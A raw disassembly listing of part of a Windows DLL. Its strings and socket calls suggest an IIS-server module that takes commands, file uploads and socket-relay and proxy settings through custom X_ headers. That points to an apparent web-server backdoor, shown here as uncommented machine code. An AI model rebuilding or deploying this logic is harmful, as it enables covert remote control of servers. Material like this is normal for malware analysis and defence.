call fcn.180001c80
nop
lea rcx, [rsp + 0x1b0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1f0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x70]
call fcn.180001c80
nop
lea rcx, [rsp + 0x130]
call fcn.180001c80
nop
lea rcx, [rsp + 0xd0]
call fcn.180008810
nop
lea rcx, [rsp + 0xf0]
call fcn.180008810
nop
lea rcx, [rsp + 0x190]
call fcn.180001c80
mov eax, 2
jmp 0x180007127
inc ebx
mov ecx, socket
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180005c30
test eax, eax
jle 0x1800059b3
xor eax, eax
mov ebx, eax
mov r8, rdi
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x70]
call fcn.180008a00
inc r15d
cmp edi, 0x1000
jl 0x180005ac3
jmp 0x180005832
jne 0x180005c30
cmp qword [rsp + 0x80], 0
ja 0x180005ab7
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, str.OVER
lea rcx, [rsp + 0x90]
call fcn.180001c10
nop
mov rbx, qword [rsi]
lea rcx, [rsp + 0x90]
call fcn.180001bf0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0xa0]
lea rdx, str.X_STATUS
mov rcx, rsi
call qword [rbx + 0x28]
lea rdx, str.DONE
lea rcx, [rsp + 0x90]
call fcn.180008b10
mov rbx, qword [rsi]
lea rcx, [rsp + 0x90]
call fcn.180001bf0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0xa0]
lea rdx, str.X_ERROR
mov rcx, rsi
call qword [rbx + 0x28]
nop
lea rcx, [rsp + 0x90]
call fcn.180001c80
nop
lea rcx, [rsp + 0x70]
call fcn.180001c80
nop
lea rcx, [rsp + 0x130]
call fcn.180001c80
nop
lea rcx, [rsp + 0xd0]
call fcn.180008810
nop
lea rcx, [rsp + 0xf0]
call fcn.180008810
nop
lea rcx, [rsp + 0x190]
call fcn.180001c80
mov eax, 2
jmp 0x180007127
cmp ebx, 0x5dc
jge 0x180005c3c
mov edx, ebx
lea rcx, [rsp + 0x1f0]
call fcn.1800022a0
mov rbx, rax
mov edx, r15d
lea rcx, [rsp + 0x1b0]
call fcn.1800022a0
nop
lea r8, [0x18004c0b8]
mov rdx, rax
lea rcx, [rsp + 0x170]
call fcn.18000c4a0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.18000c510
mov r8, rax
mov edx, 1
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0x170]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1b0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1f0]
call fcn.180001c80
mov rdx, r12
lea rcx, [rsp + 0x90]
call fcn.180001c10
nop
mov rbx, qword [rsi]
lea rcx, [rsp + 0x90]
call fcn.180001bf0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0xa0]
lea rdx, str.X_SOCKETID
mov rcx, rsi
call qword [rbx + 0x28]
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x48], rax
lea rdx, str.stream
lea rcx, [rsp + 0xb0]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x170]
call fcn.180008bb0
nop
xor r9d, r9d
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.180011820
nop
lea rcx, [rsp + 0x90]
call fcn.180001c80
nop
lea rcx, [rsp + 0x70]
call fcn.180001c80
nop
lea rcx, [rsp + 0x130]
call fcn.180001c80
nop
lea rcx, [rsp + 0xd0]
call fcn.180008810
nop
lea rcx, [rsp + 0xf0]
call fcn.180008810
nop
lea rcx, [rsp + 0x190]
call fcn.180001c80
mov eax, 2
jmp 0x180007127
cmp ebx, 0x5dc
jl 0x180005832
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, str.OVER
lea rcx, [rsp + 0x90]
call fcn.180001c10
nop
mov rbx, qword [rsi]
lea rcx, [rsp + 0x90]
call fcn.180001bf0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0xa0]
lea rdx, str.X_STATUS
mov rcx, rsi
call qword [rbx + 0x28]
lea rdx, str.Timeout
lea rcx, [rsp + 0x90]
call fcn.180008b10
mov rbx, qword [rsi]
lea rcx, [rsp + 0x90]
call fcn.180001bf0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0xa0]
lea rdx, str.X_ERROR
mov rcx, rsi
call qword [rbx + 0x28]
nop
lea rcx, [rsp + 0x90]
call fcn.180001c80
nop
lea rcx, [rsp + 0x70]
call fcn.180001c80
nop
lea rcx, [rsp + 0x130]
call fcn.180001c80
nop
lea rcx, [rsp + 0xd0]
call fcn.180008810
nop
lea rcx, [rsp + 0xf0]
call fcn.180008810
nop
lea rcx, [rsp + 0x190]
call fcn.180001c80
mov eax, 2
jmp 0x180007127
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0xb0]
call fcn.1800145e0
nop
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.180011f00
nop
lea rcx, [rsp + 0xb0]
call fcn.180001c80
lea rcx, [rsp + 0x70]
call fcn.180001c50
nop
lea rdx, [0x18004c0bc]
lea rcx, [rsp + 0x90]
call fcn.180001c10
lea r8, [rsp + 0x90]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.180007fb0
lea rcx, [rsp + 0x90]
call fcn.180001c80
mov rdx, qword [rsp + 0x40]
cmp rdx, qword [rsp + 0x48]
je 0x180005db9
add rdx, 0x40
lea rcx, [rsp + 0x70]
call fcn.180008b30
lea rdx, str.timeout
lea rcx, [rsp + 0x90]
call fcn.180001c10
lea r8, [rsp + 0x90]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.180007fb0
mov rbx, qword [rax]
lea rcx, [rsp + 0x90]
call fcn.180001c80
cmp rbx, qword [rsp + 0x48]
je 0x180005e16
lea rcx, [rbx + 0x40]
call fcn.180002220
mov r13d, eax
jmp 0x180005e16
cmp qword [rsp + 0x80], 0
je 0x180005f53
lea rcx, [rsp + 0x90]
call fcn.180001c50
nop
lea r8, [rsp + 0x70]
lea rdx, str.CMD_
lea rcx, [rsp + 0x170]
call fcn.18000c140
nop
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.1800145e0
nop
imul r8d, r13d, 0x3e8
lea rdx, [rsp + 0x90]
mov rcx, rax
call fcn.180016dd0
nop
lea rcx, [rsp + 0xb0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x170]
call fcn.180001c80
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x110], rax
lea rdx, str.stream
lea rcx, [rsp + 0x1b0]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0xb0]
call fcn.180008bb0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.180011820
mov rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0x1f0]
call fcn.1800022c0
nop
mov r8, rax
lea rdx, str.Send_data_length:
lea rcx, [rsp + 0xb0]
call fcn.18000c240
mov r8, rax
mov edx, 1
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0x1f0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x90]
call fcn.180001c80
nop
lea rcx, [rsp + 0x70]
call fcn.180001c80
nop
lea rcx, [rsp + 0x48]
call fcn.1800071a0
jmp 0x180004e43
lea rcx, [rsp + 0x70]
call fcn.180001c80
nop
jmp 0x1800070e3
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x90]
call fcn.1800145e0
nop
mov rdx, rax
lea rcx, [rsp + 0x150]
call fcn.180011f00
nop
lea rcx, [rsp + 0x90]
call fcn.180001c80
lea rcx, [rsp + 0x1b0]
call fcn.180008900
nop
lea rdx, str.proxyEnable
lea rcx, [rsp + 0x70]
call fcn.180001c10
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x150]
call fcn.180007fb0
lea rcx, [rsp + 0x70]
call fcn.180001c80
mov rbx, qword [rsp + 0x110]
cmp rbx, qword [rsp + 0x150]
je 0x1800062ba
lea rcx, [rbx + 0x40]
lea rdx, [0x18004c0f4]
call fcn.18000c5b0
test al, al
je 0x1800060f7
mov byte [0x180056a18], 0
lea rdx, [0x18004c0f8]
lea rcx, [rsp + 0xb0]
call fcn.1800088c0
nop
lea rdx, str.enableProxy
lea rcx, [rsp + 0x90]
call fcn.1800088c0
nop
lea rdx, str.Common
lea rcx, [rsp + 0x70]
call fcn.1800088c0
nop
lea r8, [rsp + 0xb0]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x70]
call fcn.180016cd0
nop
lea rcx, [rsp + 0x70]
call fcn.180008810
nop
lea rcx, [rsp + 0x90]
call fcn.180008810
nop
lea rcx, [rsp + 0xb0]
call fcn.180008810
lea rax, [rsp + 0x70]
mov qword [rsp + 0x110], rax
lea rdx, str.Disabled_Proxy
lea rcx, [rsp + 0x170]
call fcn.180001c10
nop
lea rdx, str.stream
lea rcx, [rsp + 0x70]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x90]
call fcn.1800145e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.180011820
nop
lea rcx, [rsp + 0x170]
jmp 0x1800062b5
lea rcx, [rbx + 0x40]
lea rdx, [0x18004c138]
call fcn.18000c5b0
test al, al
je 0x1800061fe
mov byte [0x180056a18], 1
lea rdx, [0x18004c13c]
lea rcx, [rsp + 0xb0]
call fcn.1800088c0
nop
lea rdx, str.enableProxy
lea rcx, [rsp + 0x90]
call fcn.1800088c0
nop
lea rdx, str.Common
lea rcx, [rsp + 0x70]
call fcn.1800088c0
nop
lea r8, [rsp + 0xb0]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x70]
call fcn.180016cd0
nop
lea rcx, [rsp + 0x70]
call fcn.180008810
nop
lea rcx, [rsp + 0x90]
call fcn.180008810
nop
lea rcx, [rsp + 0xb0]
call fcn.180008810
lea rax, [rsp + 0x70]
mov qword [rsp + 0x110], rax
lea rdx, str.Enabled_Proxy
lea rcx, [rsp + 0x170]
call fcn.180001c10
nop
lea rdx, str.stream
lea rcx, [rsp + 0x70]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x90]
call fcn.1800145e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.180011820
nop
lea rcx, [rsp + 0x170]
jmp 0x1800062b5
lea rax, [rsp + 0x90]
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x110], rax
cmp byte [0x180056a18], 1
jne 0x180006267
lea rdx, str.Status:_Proxy_Enabled
call fcn.180001c10
nop
lea rdx, str.stream
lea rcx, [rsp + 0x90]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0xb0]
call fcn.1800145e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.180011820
nop
jmp 0x1800062b0
lea rdx, str.Status:_Proxy_Disabled
call fcn.180001c10
nop
lea rdx, str.stream
lea rcx, [rsp + 0x90]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0xb0]
call fcn.1800145e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.180011820
nop
lea rcx, [rsp + 0x70]
call fcn.180001c80
lea rdx, [0x18004b820]
lea rcx, [rsp + 0x70]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0x1b0]
call fcn.180008810
nop
lea rcx, [rsp + 0x150]
call fcn.1800071a0
jmp 0x180004e43
call fcn.180014fe0
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0xb0]
call fcn.1800145e0
nop
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.180011f00
nop
lea rcx, [rsp + 0xb0]
call fcn.180001c80
lea rcx, [rsp + 0x70]
call fcn.180008900
nop
lea rcx, [rsp + 0x150]
call fcn.180008780
nop
lea rdx, str.proxyPath
lea rcx, [rsp + 0x90]
call fcn.180001c10
lea r8, [rsp + 0x90]
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x48]
call fcn.180007fb0
lea rcx, [rsp + 0x90]
call fcn.180001c80
mov rbx, qword [rsp + 0x110]
cmp rbx, qword [rsp + 0x48]
je 0x18000640d
lea rdx, [0x18004c18c]
lea rcx, [rsp + 0x90]
call fcn.1800088c0
nop
lea rdx, [rbx + 0x40]
lea rcx, [rsp + 0xb0]
call fcn.180014980
nop
lea r8, [rsp + 0x90]
mov rdx, rax
lea rcx, [rsp + 0x110]
call fcn.1800146b0
mov rdx, rax
lea rcx, [rsp + 0x150]
call fcn.1800086b0
lea rcx, [rsp + 0x110]
call fcn.180008610
nop
lea rcx, [rsp + 0xb0]
call fcn.180008810
nop
lea rcx, [rsp + 0x90]
call fcn.180008810
lea rdx, str.proxyUrl
lea rcx, [rsp + 0x90]
call fcn.180001c10
lea r8, [rsp + 0x90]
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x48]
call fcn.180007fb0
mov rbx, qword [rax]
lea rcx, [rsp + 0x90]
call fcn.180001c80
cmp rbx, qword [rsp + 0x48]
je 0x1800064fd
lea rdx, [rbx + 0x40]
lea rcx, [rsp + 0x90]
call fcn.180014980
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.180008850
lea rcx, [rsp + 0x90]
call fcn.180008810
mov eax, dword [rsp + 0x80]
dec eax
movsxd rdi, eax
mov r9d, 1
mov r8, rdi
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x70]
call fcn.1800087a0
lea rdx, [0x18004c19c]
mov rcx, rax
call fcn.18000c600
movzx ebx, al
lea rcx, [rsp + 0xb0]
call fcn.180008810
test bl, bl
je 0x1800064fd
mov r9, rdi
xor r8d, r8d
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x70]
call fcn.1800087a0
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.180008850
lea rcx, [rsp + 0x90]
call fcn.180008810
mov r14, qword [rsp + 0x158]
mov rax, r14
mov rbx, qword [rsp + 0x150]
sub rax, rbx
sar rax, 5
test rax, rax
je 0x1800066f8
cmp qword [rsp + 0x80], 0
je 0x1800066f8
cmp rbx, r14
je 0x180006646
nop dword [rax + rax]
mov rdx, rbx
lea rcx, [rsp + 0x90]
call fcn.180008920
nop
cmp qword [rsp + 0xa0], 0
je 0x18000662c
mov r9d, 1
xor r8d, r8d
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x90]
call fcn.1800087a0
mov rcx, rax
call fcn.18000c670
movzx edi, al
lea rcx, [rsp + 0xb0]
call fcn.180008810
test dil, dil
je 0x1800065d4
lea r8, [rsp + 0x90]
lea rdx, [0x18004c19c]
lea rcx, [rsp + 0xb0]
call fcn.18000c6e0
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.180008850
lea rcx, [rsp + 0xb0]
call fcn.180008810
lea rdx, [rsp + 0x90]
call fcn.1800085b0
mov rcx, rax
lea rdx, [rsp + 0x70]
call fcn.1800087e0
lea rdx, str.Proxy
lea rcx, [rsp + 0xb0]
call fcn.1800088c0
nop
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0xb0]
call fcn.180016cd0
nop
lea rcx, [rsp + 0xb0]
call fcn.180008810
nop
lea rcx, [rsp + 0x90]
call fcn.180008810
add rbx, 0x20
cmp rbx, r14
jne 0x180006540
lea rax, [rsp + 0x90]
mov qword [rsp + 0x110], rax
lea rdx, str.stream
lea rcx, [rsp + 0x90]
call fcn.180001c10
mov rbx, rax
lea rcx, [rsp + 0x170]
call fcn.180014ba0
nop
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.1800145e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.180011820
nop
lea rcx, [rsp + 0x170]
call fcn.180001c80
lea rdx, [0x18004b820]
lea rcx, [rsp + 0x1b0]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0x150]
call fcn.180008610
nop
lea rcx, [rsp + 0x70]
call fcn.180008810
nop
lea rcx, [rsp + 0x48]
call fcn.1800071a0
jmp 0x180004e43
lea rcx, [rsp + 0x150]
call fcn.180008610
nop
lea rcx, [rsp + 0x70]
call fcn.180008810
nop
jmp 0x1800070e3
call fcn.180014fe0
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x90]
call fcn.1800145e0
nop
mov rdx, rax
lea rcx, [rsp + 0x150]
call fcn.180011f00
nop
lea rcx, [rsp + 0x90]
call fcn.180001c80
lea rcx, [rsp + 0x48]
call fcn.180008780
nop
lea rdx, str.proxyPath
lea rcx, [rsp + 0x70]
call fcn.180001c10
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x150]
call fcn.180007fb0
lea rcx, [rsp + 0x70]
call fcn.180001c80
mov rbx, qword [rsp + 0x110]
cmp rbx, qword [rsp + 0x150]
je 0x18000680d
lea rdx, [0x18004c18c]
lea rcx, [rsp + 0x70]
call fcn.1800088c0
nop
lea rdx, [rbx + 0x40]
lea rcx, [rsp + 0x90]
call fcn.180014980
nop
lea r8, [rsp + 0x70]
mov rdx, rax
lea rcx, [rsp + 0x110]
call fcn.1800146b0
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1800086b0
lea rcx, [rsp + 0x110]
call fcn.180008610
nop
lea rcx, [rsp + 0x90]
call fcn.180008810
nop
lea rcx, [rsp + 0x70]
call fcn.180008810
mov r14, qword [rsp + 0x50]
mov rax, r14
mov rbx, qword [rsp + 0x48]
sub rax, rbx
sar rax, 5
test rax, rax
je 0x1800069b3
cmp rbx, r14
je 0x180006912
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.180008920
nop
cmp qword [rsp + 0x80], 0
je 0x1800068fb
mov r9d, 1
xor r8d, r8d
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x70]
call fcn.1800087a0
mov rcx, rax
call fcn.18000c670
movzx edi, al
lea rcx, [rsp + 0x90]
call fcn.180008810
test dil, dil
je 0x1800068bb
lea r8, [rsp + 0x70]
lea rdx, [0x18004c19c]
lea rcx, [rsp + 0x90]
call fcn.18000c6e0
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.180008850
lea rcx, [rsp + 0x90]
call fcn.180008810
lea rdx, [rsp + 0x70]
call fcn.180008570
lea rdx, str.Proxy
lea rcx, [rsp + 0x90]
call fcn.1800088c0
nop
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x90]
call fcn.180016be0
nop
lea rcx, [rsp + 0x90]
call fcn.180008810
nop
lea rcx, [rsp + 0x70]
call fcn.180008810
add rbx, 0x20
cmp rbx, r14
jne 0x180006833
lea rax, [rsp + 0x70]
mov qword [rsp + 0x110], rax
lea rdx, str.stream
lea rcx, [rsp + 0x70]
call fcn.180001c10
mov rbx, rax
lea rcx, [rsp + 0xb0]
call fcn.180014ba0
nop
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.1800145e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.180011820
nop
lea rcx, [rsp + 0xb0]
call fcn.180001c80
lea rdx, [0x18004b820]
lea rcx, [rsp + 0x170]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0x48]
call fcn.180008610
nop
lea rcx, [rsp + 0x150]
call fcn.1800071a0
jmp 0x180004e43
lea rcx, [rsp + 0x48]
call fcn.180008610
nop
lea rcx, [rsp + 0x150]
jmp 0x1800070e8
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0xb0]
call fcn.1800145e0
nop
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.180011f00
nop
lea rcx, [rsp + 0xb0]
call fcn.180001c80
lea rdx, str.timeout
lea rcx, [rsp + 0x70]
call fcn.180001c10
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.180007fb0
lea rcx, [rsp + 0x70]
call fcn.180001c80
mov rcx, qword [rsp + 0x40]
cmp rcx, qword [rsp + 0x48]
je 0x180006bd6
add rcx, 0x40
call fcn.180002220
nop
test eax, eax
jne 0x180006aff
mov dword [0x180058a08], r15d
lea rdx, [0x18004c1a0]
lea rcx, [rsp + 0x90]
call fcn.1800088c0
nop
lea rdx, str.Common
lea rcx, [rsp + 0x70]
call fcn.1800088c0
nop
mov edx, dword [0x180058a08]
lea rcx, [rsp + 0x170]
call fcn.1800022e0
nop
mov r8, rax
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x70]
call fcn.180016cd0
nop
lea rcx, [rsp + 0x170]
call fcn.180008810
nop
lea rcx, [rsp + 0x70]
call fcn.180008810
nop
lea rcx, [rsp + 0x90]
call fcn.180008810
lea rdx, str.Disable_Proxy_Cache
lea rcx, [rsp + 0x1b0]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0x48]
call fcn.1800071a0
jmp 0x180004e43
jle 0x180006bd6
mov dword [0x180058a08], eax
lea rdx, [0x18004c1a0]
lea rcx, [rsp + 0x90]
call fcn.1800088c0
nop
lea rdx, str.Common
lea rcx, [rsp + 0x70]
call fcn.1800088c0
nop
mov edx, dword [0x180058a08]
lea rcx, [rsp + 0x170]
call fcn.1800022e0
nop
mov r8, rax
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x70]
call fcn.180016cd0
nop
lea rcx, [rsp + 0x170]
call fcn.180008810
nop
lea rcx, [rsp + 0x70]
call fcn.180008810
nop
lea rcx, [rsp + 0x90]
call fcn.180008810
xor ecx, ecx
call fcn.18001fa5c
movsxd rcx, dword [0x180058a08]
add rcx, rax
mov qword [0x180058ad8], rcx
lea rdx, str.Enable_Proxy_Cache
lea rcx, [rsp + 0x1b0]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0x48]
call fcn.1800071a0
jmp 0x180004e43
mov edx, dword [0x180058a08]
lea rcx, [rsp + 0x90]
call fcn.1800022a0
nop
mov r8, rax
lea rdx, str.Proxy_Cache_Time:
lea rcx, [rsp + 0x70]
call fcn.18000c240
mov r8, rax
mov edx, 1
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0x90]
call fcn.180001c80
nop
lea rcx, [rsp + 0x48]
call fcn.1800071a0
jmp 0x180004e43
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_FILEPATH
mov rcx, rdi
call qword [rax + 0x18]
test rax, rax
je case.0x180004c67.115
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.180001c10
nop
cmp qword [rsp + 0x80], 0
jne 0x180006c70
lea rcx, [rsp + 0x70]
call fcn.180001c80
jmp case.0x180004c67.115
lea rcx, [rsp + 0x90]
call fcn.180001c50
nop
mov rdx, r14
lea rcx, [rsp + 0x170]
call fcn.1800022c0
nop
mov r8, rax
lea rdx, str._Info__IIS_receive_data_length
lea rcx, [rsp + 0xb0]
call fcn.18000c240
mov rcx, rax
call fcn.1800144d0
nop
lea rcx, [rsp + 0x170]
call fcn.180001c80
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x210]
call fcn.1800145e0
mov rbx, rax
lea r8, [rsp + 0x70]
lea rdx, str.UPFILE_
lea rcx, [rsp + 0x1f0]
call fcn.18000c140
nop
lea r8, [0x18004c224]
mov rdx, rax
lea rcx, [rsp + 0x1b0]
call fcn.18000c4a0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x170]
call fcn.18000c510
nop
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.1800145e0
nop
mov r8d, 0x2710
lea rdx, [rsp + 0x90]
mov rcx, rax
call fcn.180016dd0
nop
lea rcx, [rsp + 0xb0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x170]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1b0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1f0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x210]
call fcn.180001c80
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x150]
call fcn.1800145e0
mov r8, rax
mov edx, 1
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0x90]
call fcn.180001c80
nop
lea rcx, [rsp + 0x70]
call fcn.180001c80
jmp 0x180004e43
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_SOCKETID
mov rcx, rdi
call qword [rax + 0x18]
mov qword [rsp + 0x48], rax
test rax, rax
je case.0x180004c67.115
mov qword [rsp + 0x40], r15
mov ebx, r15d
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.180001c10
nop
lea rcx, [rsp + 0x90]
call fcn.180002220
movsxd r14, eax
mov qword [rsp + 0x40], r14
lea rcx, [rsp + 0x90]
call fcn.180001c80
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x70]
call fcn.180008bb0
nop
nop dword [rax]
cmp ebx, 0x5dc
jge 0x180007048
lea rcx, [rsp + 0x70]
call fcn.180001bf0
mov rdx, rax
xor r9d, r9d
mov r8d, dword [rsp + 0x80]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x180006f4d
nop word [rax + rax]
cmp ebx, 0x5dc
jge 0x180007048
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
lea edx, [rax - 0x2733]
cmp edx, 1
jbe 0x180006f3b
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
mov edx, edi
lea rcx, [rsp + 0xb0]
call fcn.1800022a0
nop
mov r8, rax
lea rdx, str.Send_failed_error:
lea rcx, [rsp + 0x90]
call fcn.18000c240
mov r8, rax
xor edx, edx
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0xb0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x70]
call fcn.180001c80
nop
lea rcx, [rsp + 0x130]
call fcn.180001c80
nop
lea rcx, [rsp + 0xd0]
call fcn.180008810
nop
lea rcx, [rsp + 0xf0]
call fcn.180008810
nop
lea rcx, [rsp + 0x190]
call fcn.180001c80
mov eax, 2
jmp 0x180007127
mov ecx, socket
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
jmp 0x180006e80
test eax, eax
jne 0x180006f61
lea ecx, [rax + 0x14]
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
jmp 0x180006e40
jle 0x180006e40
xor ecx, ecx
mov ebx, ecx
movsxd r8, eax
cmp r8, qword [rsp + 0x80]
jb 0x180007010
lea edx, [rax + r15]
lea rcx, [rsp + 0xb0]
call fcn.1800022a0
nop
mov r8, rax
lea rdx, str.send_length:
lea rcx, [rsp + 0x90]
call fcn.18000c240
mov r8, rax
mov edx, 1
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0xb0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x70]
call fcn.180001c80
nop
lea rcx, [rsp + 0x130]
call fcn.180001c80
nop
lea rcx, [rsp + 0xd0]
call fcn.180008810
nop
lea rcx, [rsp + 0xf0]
call fcn.180008810
nop
lea rcx, [rsp + 0x190]
call fcn.180001c80
mov eax, 2
jmp 0x180007127
add r15d, eax
or r9, 0xffffffffffffffff
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x70]
call fcn.180008950
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.180008b60
lea rcx, [rsp + 0x90]
call fcn.180001c80
jmp 0x180006e40
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [rsp + 0xb0]
call fcn.1800022a0
nop
mov r8, rax
lea rdx, str.Send_timeout__error:
lea rcx, [rsp + 0x90]
call fcn.18000c240
mov r8, rax
xor edx, edx
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0xb0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x70]
call fcn.180001c80
nop
lea rcx, [rsp + 0x130]
call fcn.180001c80
nop
lea rcx, [rsp + 0xd0]
call fcn.180008810
nop
lea rcx, [rsp + 0xf0]
call fcn.180008810
nop
lea rcx, [rsp + 0x190]
call fcn.180001c80
mov eax, 2
jmp 0x180007127
lea rcx, [rsp + 0x48]
call fcn.1800071a0
nop
lea rcx, [rsp + 0x130]
call fcn.180001c80
nop
lea rcx, [rsp + 0xd0]
call fcn.180008810
nop
lea rcx, [rsp + 0xf0]
call fcn.180008810
nop
lea rcx, [rsp + 0x190]
call fcn.180001c80
xor eax, eax
mov rcx, qword [rsp + 0x1230]
xor rcx, rsp
call fcn.1800198f0
lea r11, [rsp + 0x1240]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret